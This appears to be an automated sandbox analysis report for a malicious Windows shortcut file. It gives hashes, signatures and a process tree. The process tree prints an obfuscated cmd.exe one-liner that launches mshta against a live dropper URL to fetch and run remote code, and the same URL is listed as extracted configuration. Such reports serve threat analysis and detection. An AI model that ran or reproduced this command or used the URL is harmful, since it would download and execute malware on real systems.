Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:54
Static task
static1
Behavioral task
behavioral1
Sample
DOC-VNKJVX.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-VNKJVX.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-VNKJVX.lnk
- Size 1KB
- Sample260803-p46mxaycpg
- SHA256 7cb376fb9fd344550acb6f969cd8b757e44f26df90430d95652106a669f5e55a
- MD5 121a8f7ba089e5028a20d39f747de2f6
- SHA1 c05f874aae43674822140342a29f7668addaf56d
- SHA512 4a6e097460fa7e2a4fa3fe97c78d2080ec98cf2ad7cc300178e134fdd3659c35d973d3ff8a5a788cc6ba4eb5881709c387d0e48f71165daa301b2ba14f900f0d
- TLSH T188319E503FFE0654F3F39E7384BB5B2485BBB8958E24C62D0151468C1172A14E1BBF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2680 cmd.exe 3464 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2680 wrote to memory of 3464 2680 cmd.exe 90 PID 3464 wrote to memory of 4728 3464 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-VNKJVX.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set sQv=msh&&set BMfP=ta&&start "" !sQv!!BMfP! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:4728
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